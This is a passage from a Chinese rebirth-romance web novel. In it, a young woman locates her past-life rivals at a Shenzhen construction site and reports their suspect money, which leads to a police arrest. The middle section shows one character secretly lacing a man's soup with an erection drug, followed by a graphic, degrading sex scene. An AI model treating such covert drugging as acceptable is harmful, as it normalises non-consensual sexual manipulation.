“今天我在街上看到林菲儿。”淳于芳见她脸色平静,有些失望,“你不吃惊吗?她可是给你一瓶装了避孕药的酒哎。”
“有点。她在中英街?”林语晨停下来思考。
张茉莉敷完脸凑过来:“这女得不是跟追你的男人走吗?他们都在这,做什么呀?”
“林裕宝为了林菲儿重新做人,给楚邵一笔钱。楚邵怕与林裕宝走得近会惹上事,拿着钱提前离开江源县。”林语晨简单说明情况,“这么说他们两也在中英街谋生?”
“不一定。”淳于芳坐下说,“我瞧着她像是来买东西。不过,她应该看到你,脸色很震惊,然后头也不回跑掉了。”
“……”林语晨有些可惜,“我没看到她哎。”
“这种人还敢出现啊,见一次打一次。”张茉莉直接挥舞拳头。
“脸啊,长皱纹了。”林语晨一句话让张茉莉收起张牙舞爪,“芳芳,谢谢你告诉我。不过,你不会……还想找林菲儿报仇吧?”
“算了呀。”淳于芳知道她要说什么,先一步说,“孙佳人被抓进去,打我大伯的人也被拘留,都等着审判呢。孙佳好连高考都没参加……已经可以了。若是我再继续下去,同她们又有什么区别。只是,我想起蓝姐姐,还是会难过。我一辈子都不会原谅她们。她们不犯到我面前,我就当她们不存在。”
若是在我面前跳来跳去,将来我有能力也会给她们点颜色看。
林语晨从她的眼神里看出未尽之语,与张茉莉对了一眼,一起给淳于芳一个拥抱。
那些“这不是你的错”、“与你没关系”、“不要再放心上”,这些话肯定有人对她说过无数次。但是,淳于芳天生有责任感,遇上事后,若不及时缓解,就会一直觉得是自己的责任。
淳于蓝的事只有她自己想开才能彻底过去。
淳于芳走后,林语晨靠在床头思考事情。
张茉莉看着悬挂的连衣裙,转脸说:“以我对你的了解,你一定想知道这对狗男女过得怎么样。”
林语晨扬眉看去:“你有办法?”
“你忘记谁给我们办理去中英街的证明?”张茉莉挑眉,“我小婶可是广地人。这事包我身上。我得去打个电话。”
“我同你一起去。”林语晨起身同去。然而,两人一起找衣服穿,最后齐齐看向飘扬的湿衣服,无奈地倒回床上。
翌日,何方明去办自己的事,就不带大家到处转。何罗秋觉得跟着他能学东西,问过林语晨后,厚着脸皮跟着何方明去办事。
李伶俐还想去中英街,央着张茉莉搞证件。
张茉莉被烦不过,把办事的人转介绍给她,由着她去搞事。
她本人更想同林语晨搞事。
李伶俐不敢一个人去,拉着淳于芳一起去中英街采购。
淳于芳想起碰上林菲儿的事,决定再去一次,若是遇上人还能给林语晨报个信。
林语晨选择去当地的政府大楼,查看各种公告信息。
最后,她看到一条承建公告,这条公告说明——日后南方最大电子市场集散地的大楼建设工程。
“林语晨,这是什么意思?”张茉莉一路跟着她,有些不明白她的目的。
林语晨想了下,解释一点:“林裕宝给他的钱一定不会少。他本来想办造纸厂,但是计划落空,离开灵江市,最快发家的方法就是趁这股即将到来的东风承包市建工程,而最早的私人建设起始点就在这。
林菲儿在中英街出现,说明楚邵应该在附近。”
“你怀疑他拿着钱组建工程队承包政府那个电子大楼?”张茉莉一脸震惊,“这不太可能吧?”
“当然不可能。大工程要承建资质,他有什么。但是,他可以趁这个势头,在附近接其它小一些的承建业务,不要小看大工程的号召力。”林语晨笃定说,“我们要找到他很简单,只要去那块地周围看看就可以。”
林语晨敢这样推断,当然是因为前世的时候,楚邵后期参与这行,填不少资金进工地,赚了一些、填了一些。由此,他还和孙不二这些人搅合,才有后来的犯罪事实。
重来一次,楚邵一心想要致富,回到前世的鼎盛时期,没有江源县的本土企业造纸厂支持,却在深地出现,干得就一定是这行。他想吃建筑业的头一份红利。
两人花钱请一辆当地的摩的。
摩的司机想狮子大开口报个狠价,结果被林语晨一口流利的本地话震慑,就说个自己人的价格。
幕天席地的田野上已经有工人建设的影子,深地未来最大的电子产品集散地就在这。
林语晨和张茉莉下了摩的,让师傅在下午三点过来接人,一起走近这片建设区。
林语晨问当地几个挖土搬砖的老乡,套到一些附近小工地的情况。
她和张茉莉一脚深一脚浅地探过去。
张茉莉有些吃不住这辛苦:“你真是好毅力。虽说这两东西确实不是好货,可你这么找来,真是恨到骨子里。”
林语晨只笑说:“若是我喝了那酒,又不注意,往后一辈子就可能要不了自己的孩子。是你,你恨不恨?”
“恨!我一想起这事就觉得应该给他们套麻袋,狠揍一顿。”张茉莉指着前方,兴奋说,“那边,是不是那边?”
两人环顾一圈前方的小工地周围,都是平地,不好居高观察。
正好有师傅推着一辆平板车拉着货过来。
林语晨用白话问师傅几句关于工地老板的消息。
师傅是本地人,亲切地用白话说:“老板姓楚,老板娘姓林。他们很有本事,才来几个月就已经拿下两个工程,拉起两支工程队。灵省的人真是能干啊。你们……问这个干啥,不像来找工作呀?”
林语晨笑了声:“我和楚老板是同乡,听说这边有老乡在承办工地,特地过来看看。”
“啊?这样吗?你的粤语说得很好啊,老板也是一口流利的粤语,老板娘不会说……我们笑说老板是失散在外的老乡,娶了灵省的大美人回来光宗耀祖。这样吧,我们一起进去。”师傅推着车吆喝两人一起走。
林语晨和张茉莉摇头笑笑,反身离去。
林语晨想起曾经和楚邵一起学粤语的日子,真是唾一脸星子。
老板娘应该就是林菲儿。楚邵究竟是那个楚邵!
两人走不多久,林菲儿坐在一辆摩的后座,拿着大包小包路过两人。
林语晨停在路边看去,与头盔下的林菲儿看不清的眼神对上。
她很确定——林菲儿一定认出自己且不想相认。
怕自己喝了酒来寻仇还是怕自己又找上楚邵呢?
林菲儿没有让摩的司机停车。摩托车一直进工地里去。
张茉莉诧异地说:“刚刚……是她吗?包臀皮裙、背心、凉鞋,好潮!”
“嗯。这种张扬、毫不在意外人目光的穿衣大法不就是林菲儿嘛。”林语晨可太熟悉这姑娘的心思,莞尔笑着,“已经找到了就回去吧。”
“这就回去了?”张茉莉跟上她,“不打她一顿?”
“法制社会讲法律。法律会惩罚犯罪的人。”林语晨套用赵有归的话,看张茉莉还是一脸不解气,慢慢说,“我说过林裕宝给了楚邵一笔钱。楚邵拿这笔钱用来组建工程队。你猜,这笔钱……干不干净?”
“哦?哦!”张茉莉看着转身离去的人儿,激动地跳了下,心花怒放,“林语晨,你好阴险啊。”
“……”林语晨瞪去,“我没得罪你吧?”
“你抢了我的台词。这话应该我来说,我没得罪过你,你别抓我小辫子!哈哈哈……我迫不及待想看到他被查的样子。哈哈哈……爽我一脸!”
张茉莉嘎嘎笑着,一点不介意路难走了。
“我跟你说啊,以后我得罪你,你可别报复我。”
林语晨回她个意味深长的笑脸,惹得张茉莉启动自卫机制,追来挠人。
片刻后,两人望向没有尽头的田野大道面面相觑。
张茉莉:“你喊师傅几点过来接人?”
“三点。”林语晨看下张茉莉手腕上的电子手表,“
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还有三个小时!我好饿!”
“我也是!”张茉莉仰头看天,拿手挡着太阳,“都说君子报仇十年不晚,越王勾践卧薪尝胆……轮到咱两,这也太坑了吧!”
“嗯,对不住啊。走吧。”林语晨叹了声,拉她一起向田野尽头走去。
后半程,两人碰上辆回头摩的,一起坐着摩托车回城。
——
工地的搭房里,穿白背心、长裤的楚邵正在专心算账,见林菲儿回来,蹙了下眉:“这两天你都买了多少东西?我还得留着钱买水泥、红砖。”
林菲儿没吭声,把买的东西兜头砸在楚邵的脸上。
“你疯了!”楚邵大喝了声,又压住声响,低声呵斥,“林菲儿,你够了,让别人看笑话。老板没威信,怎么管得住下面的工人。”
“威信威信,你要什么威信,不就是建房子吗?烂泥匠!”林菲儿想起两次遇上林语晨的事,如今人家找到门口,眼神又急又怒,担心她没喝那酒,又担心她喝了一口后发现不对劲找来寻仇。
楚邵会站在哪边?他还想着那个女人吗?
他一定还想她,不然,昨晚不会把自己推出房门。
不过,没关系!今晚有了那边进来的特效药,一定能拿下他。
林菲儿朝面色不定的楚邵展出个美丽的笑靥,拎着自己的东西离开。
楚邵的桃花眼透出不耐烦,满脸都写着麻烦。
“你神经病啊,疯婆子……”
他把林菲儿留下的乱七八糟的东西扔开,继续算手头的账本。
第一个工程小打小闹,帮人家建平房工厂。不仅回了本,还赚了一些钱,且在这个片区有点名声。
第二个工程刚开始动工,一切还在筹划,就连图纸都还在路上。
只要隔壁的电子产品集散地动工完成,他就能在这掘到第一桶金。未来,多得是人跑到这来投资、动土。
现在的目标是把手头的工程做好,在深地打响名气。
在不久得将来,他会带着工程队回灵江市承建房产工程,不日又能回到前世身为灵江首富的荣光。
这次,没有林语晨的帮助,却可以重新登上那地位,让林语晨再次成为首富太太,证明身为丈夫的个人能力。
楚邵只要这样想,就好像浑身都是干劲。他太想向林语晨证明自身的实力,而这种“想”,不论是前世还是今生,已经成为刻在他骨子里的执念。
晚上,林菲儿端来了饭菜,同楚邵一起吃饭。
楚邵看着她,边吃边说:“你不考虑回去一趟吗?”
按照赵有归的进度,现在灵江市应该已经翻了天。若是林裕宝被抓,林菲儿肯定会回去看亲爸和弟弟。
可是,这个恋爱脑的女人连电话都没打回去一个!有时候,楚邵在林菲儿这会觉得很有男人的自信;有时候,他又觉得林菲儿不算什么,得到林语晨的认可才能证明他是有能力的男人。
正所谓,得不到永远在骚动。他要得是林语晨臣服的心。
“不回去。”林菲儿一点不关心江源县的情况,也不主动去打听家乡的事。她也没有看报纸的爱好,根本不知道灵江市的变动。
“好吃吗?我请阿姨做的本地鸡,很香吧?”
“嗯。”楚邵毫不怀疑地吃着鸡肉、喝着鸡汤,“你不想回去就不回去吧。什么时候想回去跟我说,我给你路费。”
林菲儿笑睨他,看着他吃得津津有味,拿手撑着下颚:“慢点吃,晚上我还给你送宵夜,吃更好的。”
楚邵一听这话就觉着鸡汤好油,咽下鸡肉说:“别了吧。你知道我的心思,省省劲吧。”
“哼。”林菲儿轻哼了声,一点不跟他争辩。她起身离开工房,回到自己的宿舍,取出黑色的药瓶子,上面写着特效伟.哥几字。
她去中英街那边就是为拿这药,结果碰上林语晨,危机感直升。当晚,她去给楚邵送夜宵,硬是被他赶出房门。
今晚,这玩意混着鸡汤被他喝下不少,看他怎么熬?
“呵呵呵……”林菲儿想着今晚就乐了,抛着小药瓶,扬起下颚:“林语晨,这辈子都休想抢走我看中的男人。”
58. 送你风
林语晨知道举报楚邵的钱财来路不正,其实动不了根本。
按工人的说法,林裕宝给他得那笔款项应该早被洗干净。但是,现在这个节骨眼,不是人人都是赵有归,有责任心又清正廉明。
如今,多得是人想要钱,想从可以捞钱的人身上扯下一块肉。
她算得是人心。
举报的邮件被寄往当地后,林语晨又在供销社的电话亭给远在灵江市的市局打举报电话。
宋景接起电话:“喂,报案?你说。”
林语晨在电话里心平气和地说:“林裕宝的赃款还有流落在外。他把钱给一个叫楚邵的人,这人正在深地沙头角,用这笔脏钱承建工程。”
宋景一一记录,想了想说:“你认识他?喂……”
嘟的挂断声长达十几秒。
宋景放下电话,沉思几秒后立即回拨过去。对面的公社人员接起电话,听说是警察,回答他几个问题。
宋景得到举报人的外貌特征后,拿起资料找赵有归。
赵有归正在剪报纸。听到敲门声,手忙脚乱得把报纸放在抽屉,结果有一张纸片被开门的风和电扇的风卷飘到宋景的脚边。
宋景眨巴眼,憋住要笑的唇角:“赵局,接到一个奇怪的举报电话,因为跨省追款,需要你过目。”
“嗯!”赵有归接过宋景递来的信息,瞟见他把那角报纸扔向垃圾桶,赶紧说,“别扔,那是我要贴的。”
“啊?哦。”宋景给他放在桌面,又用本子压实剪下来的报纸,看着他过目资料,慢慢说,“赵局,原来你喜欢剪报本啊?咱们档案室,有专人收集报纸信息,不用特意剪下来收集吧?”
赵有归从纸上的“楚邵”两字回神,眨眼跳过他的问题,反问:“查过电话来源吗?”
“我打回去问了。电话从深地供销社的电话亭打进来,长途电话。打电话得是一名二十左右的女同志,扎着一根大的麻花辫、眼睛很大很漂亮,会粤语和普通话。我查那边的情况,最近深地、沙头角片区的流动人口比较大,不少人去那边进货。
我猜楚邵动了人家的利益,糟人眼红才被不注名举报。
这事不好办,怎么证明他的钱是赃款呢?林裕宝承认,对方也不会承认啊?何况,林裕宝也没承认过这事。”宋景转入办案思路。
“对方承不承认不要紧,你与那边的同级警局联系,说我们正在办的案子有一笔款项没有追回,请他们帮忙协助调查。”
赵有归勾起唇角。听宋景的汇报消息,敢肯定这一定是林语晨的手笔。
长途电话不便宜,又远在深地,敢把电话打进灵江市局得一定不是普通人。普通人没这胆子!
听赵晓鹤说林语晨和同学去外地进货,打算回来摆夜摊……或许她撞上楚邵。
这世上谁见不得楚邵过得顺风顺水,又想给他找点麻烦,非林语晨莫属。
林裕宝送给楚邵的钱肯定追不回,这么久早就被洗干净。但是,不妨碍让楚邵证明钱财来源的正当性而焦头烂额,拖慢他正在起势的进度。
这应该就是林语晨的想法。那就送她一阵风,束缚楚邵发家的进度。
赵有归思定后又说:“对了,林裕宝的儿子在他兄弟家吧?顺便让那边通知下林菲儿关于林裕宝等人的消息。林飞成还小,需要监护人。”
若是林飞成继续留在林家村,怕会引起赵晓琳的注意,往后留下大患。林菲儿靠上楚邵,两人应该会把林飞成接走。
宋景答应,临出门看赵局的手伸向那片报纸,好奇问:“赵局,有这个必要吗?”
赵有归抿直唇角,抬头直视宋景,眼神幽深,似有锋芒。
宋景顿感局长的威严扑面而来,闭嘴关门一气呵成。
等他出办公室,碰上大队长钱育才,拉他说悄悄话。
“你猜我在里头看到什么?”
钱育才睨他:“你小子有屁快放。”
“赵局在剪报纸啊,贴了好厚一本。他什么时候有这爱好?”
钱育才一脸意味深长,勾了勾手指,揽住宋景的肩头:“如今的灵江市海晏河清,咱还不让赵局长有点小爱好。”又想起一事,犹疑着反问,“他会不会……帮别人剪报啊?”
“怎么说啊?”宋景越发好奇。
“其实,我汇报事情的时候见过那报本,封面是钢印桃花纹。”钱育才看着宋景吃惊的表情,继续说,“那天,我看到他去新华书店买本子,一次性买两本。一本桃花印,一本竹子印。”
“哦!”宋景大喊了声,引来四处好奇的目光,被钱育才一记盖帽垂下头,“嘶,痛啊,老钱。”
“行了行了,别八卦了,干活去。”钱育才懒得跟他分享,还是太年轻,藏不住事。
“老钱,你过来下。”赵有归在办公室门口喊。
“到!”钱育才踢了宋景一脚,巴巴地跑过去,“赵局什么事?”
宋景羡慕又嫌弃地看向狗腿似的钱育才,摸着头离开:难怪人家能做大队长呢!这观察入微的本事,这狗腿似的作风……啧,学不来。
办公室里,赵有归已经放好报本,递去一份文件:“这是关于灵江市移动摊贩管理方案。你跑一趟省政楼,交给谭省过目。”
“移动摊贩?”钱育才拿过本子,问了一嘴,“这摆摊还管呢?”
“接下来市民摆摊会越来越多,人多会乱,提早制定管理方案便于有计划的管理,给我们的治安工作减轻压力。我们把摊贩聚集到一条街,集中管理,对城市安全、环境等都有帮助。而且,你们最近查不少不申报入境的货物吧?”
钱育才嘿笑了声:“确实查处一些不合法货物。商家的东西来源不明,按深地那边的进口货物明细,明显超出额度,也提供不了正当单据……我们按规定查处。”
赵有归勾唇:“若明文规定下去,对大家都好。”
林语晨既然做了,就不会小打小闹,提前发布政策,有利于引导全市商贩正规正当行商。
第二阵风,送她在灵江市扎稳脚跟,踏踏实实做生意。
“明白了。”钱育才拿着文件出门,有心八卦句报本的事,但实在没这胆。
——
沙头角的小工地上,楚邵躺在宿舍里热得睡不着,听着敲门声不用猜也知道是林菲儿,一点不想给她开门。
林菲儿坚持不懈地敲着,也是一点没有要放弃的意思。
楚邵的心越来越燥,气血下行,已经有了欲念。
他把敲门声当乐声,手探向下面,想跟以往一样靠五指姑娘解决,结果林菲儿开始踹门。
“咚咚……”
这声音刺耳又大,再让她踢下去,整个工地的人都知道这娘们三更半夜发春找男人。楚邵这般想着,火气腾得一下就上来,套条裤衩开门,兜头盖脸一句:“林菲儿,你有完没完?”
林菲儿穿一件真丝的吊带鸡心领睡衣,看他要关门,一脚抵住门缝,想要硬挤进来,还朝楚邵挤出半张讨好的笑脸。
“等等,我有正事说。”
“明早。别乱喊,给人听到你还做人吗?”楚邵要关门,却不想林菲儿的手从门缝伸过来,一下就碰到他的要害。
顿时一个激灵,软了脚。
林菲儿趁机进入房内,转手关门,直视着楚邵显眼的地方,笑容入眼:“楚哥,这是何苦。大家叫我老板娘,你不也没拒绝。”
“我是给你面子。行了行了,你出去!”楚邵嘶哑着嗓子,老板身边有美女陪着,老板也有面子啊。
出门在外,不就是看排场,美女也是排场之一!
他去开门,却被林菲儿挡路,转身找水喝。
一回头,林菲儿已经脱了吊带睡衣。玲珑有致的身段,艳丽的玫红,简直触目惊心。
心跳声已经撞在耳边。目光仿佛有了自我意识,顺着曲线,入了那神秘处。
一口水刚入喉,又觉得像在沙漠般渴。
林菲儿仰着下颚,纤长的手指拂过雪峰凹谷,宛如拂开一片盛世江山。
于她来讲,青年的身体就是资本。
她仰首猫步,缓缓地走向移不开眼的男人。
楚邵干咽了下,嗓子冒火,怎么都下不去。
他捏紧杯子,又喝口水,后知后觉发现不对劲:“不对。你不是没脱过……”利眸看去,见她僵住了,冷笑说,“林菲儿,你说,你给我吃了什么?”
林菲儿眨眼,疾步绕过楚邵,上了凉席床:“枸杞鸡汤啰,还加了老鳖鹿茸……”还有港产特效药伟.哥。
“……哕……”
楚邵趴在垃圾桶扣嗓子,没呕出啥东西。工地活多、天气热、耗水快,早消化了。
他气疯了,起身走向硬撑着的林菲儿,提手就要甩去一巴掌。
然而,林菲儿就这样倔强地抬脸看去,露出好看的半张脸:“你打啊。楚邵,我爱你有错吗?我爱你想得到你有错吗?你说啊,说我错了。”
最终巴掌没有落下。
林菲儿抽着脸颊,努力笑说:“如果我错了,那你也错了。对吧?”
是。如果爱一个人想得到一个人是错,我对林语晨又算什么?
楚邵看着她淬火的明亮眼睛,硬生生地放下手,撇开眼,指向门外:“出去。”
林菲儿赤红双眼,双手用力一撑,整个人就滑跪在楚邵的面前,仰头向那扭曲如蛇处吻去。
楚邵的身体微微发颤,急切的需求就在等待这一刻。
“嗡”得一声,名为理智的弦在这一瞬间彻底崩断。
眨眼的迟疑间,林菲儿已经拔下他的裤衩,面对一跃而出、不容忽视的存在。
她嫣然一笑,毫不犹豫地迎上去。
“啊……”
楚邵感受着极致的快乐,颤抖着,再没有什么自制力。
双手入了林菲儿柔顺的长发,让她贴得更紧更深。
当这也无法满足那点空虚时,他拎起林菲儿,猛推到床上,“林菲儿,你别逼我!这是你自找的。”
林菲儿的神色说不上美,嫣红的舌尖舔去唇口的黏腻。
曲如山峦的肩头微微凹凸,为他彻底绽放。
“楚邵,我要用行动告诉你,这世上只有我愿意爱你。”
楚邵的眼里泛起赤红的血丝,倾身过去,直接把林菲儿翻个身,不看她的脸和眼睛,只让她背对自己。
手压着她雪白的脊峰,既没前戏,也不怜惜。
哭容和笑容像恶魔和天使,同时出现在林菲儿的脸上。
被掠夺的刹那,她以为
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会有烟花在心底绽放,但事实上没有。她想起同陆天的第一次。
失去尊严的欢好再次来临,换得疯魔般的沉沦。
她扬起下颚,拉直长颈,低低地笑着,主动迎合他。
“你个疯女人,你会后悔。林菲儿,你会后悔。你逼我的,是你逼我。啊……”
楚邵一边抖动着,一边癫了般碎碎念着,仿佛这样就能缓解内心的罪恶。
他不准林菲儿转脸看来,还捂住她的唇口,不让出声。他让她爬上床,怼在她的背后要她。
“你根本没法和她比,因为你不配,你不配……你个蛇蝎心肠的女人,啊……”
“啊……”
林菲儿侧脸,挣开他的手,往前一扑,转身给楚邵一巴掌,失去笑容的脸上是彻彻底底的哀恸。
她感受着淋漓的湿濡,丢失的自尊在心底滋生反抗的力量,最终被欲念的酥麻吞噬勇气。
楚邵看着她无望的脸色,通红着双眼、咧大嘴,恶狠狠说:“你滚啊……”
“我不走。”林菲儿用尽心力喊出三字。
她抿直唇,又猛扑过去,却被楚邵再次推倒在床上。
如鱼入水般进去后,楚邵又开始碎碎念:“你就做你曾经做过的事吧。林菲儿,这辈子我只会娶她……我只会娶她。”
宛如忏悔般地宣言,身体却异常诚实,由着药力要了她一次又一次。
之后,林菲儿没有再被捂嘴,轻轻地哭了,像寻不到家的小猫儿一样轻声啜泣。
她想要被爱的人洗涮身体,这样才会觉得逃离那个噩梦,逃离那个名叫陆天的男人。
她爱楚邵,爱与他在一起,只有这样,她才觉得世界是有颜色的。
后半夜,楚邵拿冷水浇了满头满身,在工地的夜色里点上烟,一支又一支抽着。等他吸完半包烟才回房间。
林菲儿恹恹地懒躺在凉席上,像是一个破碎的娃娃。
楚邵仰向毛糙的房顶吸口气,空气里全是燥热的腥气。他拉了薄毯盖在她的身上,慢慢说:“林菲儿,你就没有人生理想吗?”
林菲儿动了动眼神,望向他仿佛一夜间长出胡子的黑糙下巴,沙哑说:“我爸让我和孙佳人学读书,我学她欺负同学。我爸又让我和孙佳人学做人,我学她陷害人还是未来当老师?呵呵呵……楚邵,我爸不懂我妈也不懂我。从小到大,我就想要你。小时候,我就喜欢你。你好看还野,像是一只漂亮的猴子,我喜欢你我爱你。你让我像狗一样被你.操,我也愿意的。因为,你是我的男人,而我愿意宠着你!”
说到头,我只想要你能懂——我喜欢你!
“……”楚邵深吸口气,似听明白又似没有,闭了闭眼,终是说,“我不会娶你。”
爱,才会娶。林菲儿,不论前世今生,我都不爱你,我只爱林语晨。
“没关系。我可以等。因为我知道你失去娶林语晨的资格,哈哈哈哈……”林菲儿仿佛活过来,撑着床铺起身,披着毛毯看着他阴沉沉的脸色,“前天,我在中英街看到她。”
亲眼看着楚邵震惊的抬脸,林菲儿满意极了,“昨天,她就在工地外面,我猜她是来找你。”
“林菲儿!”楚邵大喊一声,顾不得吵醒工地上的狗还是人,捞起衣服和裤子奔出宿舍。
工地上的灯陆续亮起来,天也正在明亮。
宿舍里的林菲儿披着毯子下地,疯了般沙哑地笑着:“呵呵呵……哈哈哈哈哈……她不会要你,她不会要你。你只能是我的人,只能是我的人,哈哈哈……”
楚邵骑着新买的摩托车跑去中英街,还没进去转一圈就想起这会林语晨要在的话应该在城里的旅馆,又转去城里的街上寻人。
然而,他刚进城,警车从身旁擦过,一时也没多想。
片刻后,警车找回来,拦住那个要闯进旅馆的男人。
“等等,你是楚邵吧。这辆摩托车登记在册,应该就是你。”
楚邵不明所以地点头。这年头别说车子数量少,摩托车数量也少,买得起更少。买这玩意还会被警察上门询问、登记。
“我是楚邵!怎么了?警察同志。”
“有人举报你收取来路不明赃款,跟我们回局里接受调查吧。”
楚邵看着对方拿出镣铐,震惊地后退:“什么赃款?这一定是误会。我没有犯法!”
灵活的脑子里瞬间冲入——林裕宝果然出事了,三万块钱的事暴露了。
几名警察拦截他的退路。
一人说:“灵江市518特大黑势力团伙案件,轰动全国。你有参与吗?”
楚邵僵硬了一瞬,转眼又说:“我是灵省市局的卧底……我没违法赌.博。”
赵有归高估了楚邵认错的速度和决心,经过前世的教训,楚邵再不敢和警察玩心眼,甚至对抗着干。
警察们对了眼,确定没找错人。
“我们是有一些疑问需要你配合调查,走吧。”也看出他不想去,又说,“拒捕情节严重,可以直接拘留。”
楚邵撸了把乱糟糟的头发,试图讲道理:“我确实参与那案件,但我是你们警方的卧底啊。我是良民。警察同志,你们通融通融,我急着去找人,先让我进去找人……”
拉拉扯扯,最终还是被请进警车。
59. 要人脉
今日是来深地的第三天,按照约定,何成会把申报完的货带入境。
“大清早就是警车的乌拉乌拉声,不知道发生什么事。啊……”张茉莉伸个懒腰、揉把头发,起身上厕所。
林语晨从厕所间出来,漂亮的大麻花辫垂至胸前,一袭浅蓝底百合花连衣裙、短筒丝袜加白凉鞋,清爽得像是山里出来的精灵。
本来不穿丝袜更好看,她怕老寒脚,也怕晒黑。
“我去,你这么早啊?”张茉莉盯着她红艳艳的嘴,下意识伸手去摸。
“啪”得一声。
林语晨打开她的手,笑说:“不早了。今天要拿货,事情顺利的话,下午就能买火车票离开。”
张茉莉摸着手背,彻底清醒:“挺好看的,整个人都亮了好几度。我也要涂口红。”
“涂,别辜负你的青春。”林语晨又说,“我去找淳于芳她们,说一声,早点出发。”
张茉莉边洗脸边吐槽:“哎,说是来玩,尽跟着你们瞎跑,连海都没看。这才第三天就要回去。”
“你不是躲唐阿姨吗?先想想回去怎么应付吧。”林语晨听着她的呜呼哀嚎声,轻快地关门离开。
李伶俐和淳于芳已经起床。
两人最终没抵住美丽的诱惑,买了两件挺挺的内衣、时髦的衣裙。
李伶俐是两件式的套裙。淳于芳是浅蓝牛仔裤、黑白帆布鞋和大尖领衬衫,非常有味道的穿法。
林语晨拉起淳于芳的衬衫角,给她在腰间打个结,露出纤细紧实的腰身。
“哇……好……性.感。”李伶俐惊呼。
淳于芳赶紧解开衬衫结,插入裤腰:“不要。太……尴尬了。”
“好吧,这样也很有个性很好看。”林语晨不勉强,过不久,满大街都是这种露腿露腰的打扮。“走吧,我们喊何罗秋吃早饭。”
早饭过后,林语晨几人按何成的约定,一起到火车站接货。
她们把淳于芳的25箱味精办理货物托运,又把自己的东西按清单点清楚。
林语晨亲自检查申报文件和物品清单,一一核对完毕。
何成朝旁边的何方明说:“这小林做事很仔细,是块做生意的好料子。”
何方明点头:“以后咱们灵江市的商场少不了她的名字。”
“好了。大家管好自己的东西,我们准备买车票回家。”林语晨听着几人的欢呼声,走向何成和何方明,伸手笑说,“东西没错,单据齐全。这样回灵江市,我就放心多了。谢谢何成大叔,方明叔。”
双何相视一笑。
何成同她握手:“客气了,靓妹。下回来深地继续找我,你有我的电话。”
“一定。”林语晨又同何方明握手,轻声说,“何叔,华丽衣料店,不介意我们去买衣服吧?”
“我欢迎还来不及呢!”何方明回握,同等待已久的何罗秋、淳于芳、李伶俐一一握手,又走到张茉莉面前,“张同学,谢谢你。这次若没有你,我一家老小就要喝西北风,感激不尽。”
张茉莉看着他主动伸来的手,轻轻地握下:“好说。以后,我姐们找你帮忙,你别推辞就好。”
“一定一定。”何方明连连点头,“小林,我还要一天才能回去,不跟你们一起走。你们回去的路上小心些,注意安全啊。”
“知道,何叔。”林语晨点头,目送双何离开,转眼看大家抱着货物欣喜如狂的模样,温声说,“我们商量下买车票的事吧。”
李伶俐不解问:“这还商量什么?”
“这些东西都挺贵,放在硬座车厢不太好看顾。茉莉要买卧铺,我打算也买一张卧铺,同她一起买下铺对坐。一张床用来存放这些东西。我和茉莉坐在对面床铺看着它们。你们觉得怎么样?”
淳于芳明白她的意思:“你想把东西都放到卧铺车厢。我们坐硬座回去,只你多花点钱。”
何罗秋和李伶俐还没说话,张茉莉已经瞪眼:“你是死活都要拉上我当垫背呗。”
林语晨莞尔:“谁叫你给我的安全感高呢。东西放在我的卧铺床上,我和你挤一张床,行吗?姐们!”
“我能说不行吗?”张茉莉咬牙切齿,“你们要不要也买卧铺?”
何罗秋三人连忙摇头,卧铺的价格不便宜。
淳于芳试着拉牛仔裤的兜,拉不出口袋:“两袖清风,唯于一张硬座车票钱。”
李伶俐点头:“我也是……”
何罗秋:“拜托,女侠!”
张茉莉吃软不吃硬,轻哼着答应了。
火车是下午三点出发,明天上午可以到灵江市。
大家在火车站等大半天才坐上返程的火车。
——
深地警局里,楚邵看着被请来的林菲儿,整个人像得病般抖起来,急扑上去:“林菲儿,你跟他们说清楚……那钱是我的工资、你爸送给你的生活费……”
“坐下。”警察按住楚邵,“你老实点,交代清楚不就完了。我们会核实你说的信息。”
林菲儿看着那个邋里邋遢的男人,天没亮、衣服没穿好就急匆匆去寻林语晨,结果被送进警察局,当真是天大的笑话。她朝蹦跶的楚邵露个意味不明的笑容,被女警带进审讯室,而后垂着脸,一声不吭。
女警把灵江市传来的消息递给她:“你的父亲是林裕宝对吗?他被起诉杀人、非法赌.博、贩卖人口……等几大罪行,已经被抓捕归案。”
林菲儿动了动眼神,轻起唇角:“这一天早晚会来不是吗?我妈走得时候就说过这句话。我到现在都记得她走时的样子,也一直在等这一天。”
女警沉默,紧接着说:“你知道林裕宝杀了谁吗?”
林菲儿摇头:“他手里有枪,爱杀谁杀谁。他连女儿都打,骂她去死,杀别人有什么好奇怪?”
女警和同事对了眼,知道这是个被原身家庭带偏思想的女同志,缓缓说:“你父亲杀得是陆天,江源县环保局局长。据闻,你和陆天有非正当关系,而你是被胁迫。”
林菲儿的神色溃变,痛苦地扭曲着,在爆发边缘又压制下去。
她好似神经质一样,后知后觉露出愕然、恍然大悟,眨着眼呢喃地问:“爸……我爸杀了陆天?陆天是被我爸杀死?”
等到对面的女警点头,又哭又笑地怀疑说,“不可能!他打我骂我……他和陆天根本是一伙的,他怎么可能杀陆天?”
女警见她的情绪外露,静静地等她发泄。
旁边的男同事忍不住说:“安静!”得了女警一眼,回以“我说错了”的疑惑眼神。
林菲儿慢慢地平静下来,张口无声,一时不知道该说什么。
女警再说:“与你一起的楚邵参与你父亲的赌场生意吗?工地上的人说你们是夫妻。”
“爸,我想见我爸。”林菲儿沉浸在林裕宝为自己杀人的情绪中,滑落眼泪,激动地说,“不……我和他不是夫妻。我喜欢他,他喜欢别人。他嫌我脏。现在,他和我一样脏了,呵呵呵……”
审讯的男同志听愣,觉得这姑娘受得打击不小。女警给她倒一杯水,接着问:“你父亲曾经给过他一笔钱,还提个要求,让他带你离开江源县,对吗?这笔钱具体多少金额,现在,还在吗?”
林菲儿后知后觉地明白他们的意思,蹙起眉,一声不吭。
审讯室外的办公大堂里,楚邵的头一下下地磕在桌面,记起赵有归在田埂边说的话。
赵有归:“你现在不陷进去还是清白,再牵扯进去,尤其是金钱方面,回头清算起来,你扯得干净吗?”
如今出事,楚邵后悔至极。
若是没有拿三万块钱,就没有这遭事。
明明赵有归已经提醒过,不要与林裕宝有金钱牵扯,然而,没有听。
忽然,他想起帮过赵有归,急切说:“警察同志,我要同灵江市局联系。赵有归,他能证明我的清白!”
警察商讨过后让他打长途电话。
灵江市局,赵有归接到内线电话,沉吟后说:“接进来吧。”
电话一接通,就传来楚邵认错的声音。
楚邵:“赵哥,我错了。我不该鬼迷心窍拿林裕宝一万块钱。我也不知道那是赃款。我帮他开车,又带林菲儿离开,那是我的工资和……林菲儿的生活费。这钱它干净的呀。赵警官,赵大哥……你帮帮我跟他们解释清楚。”
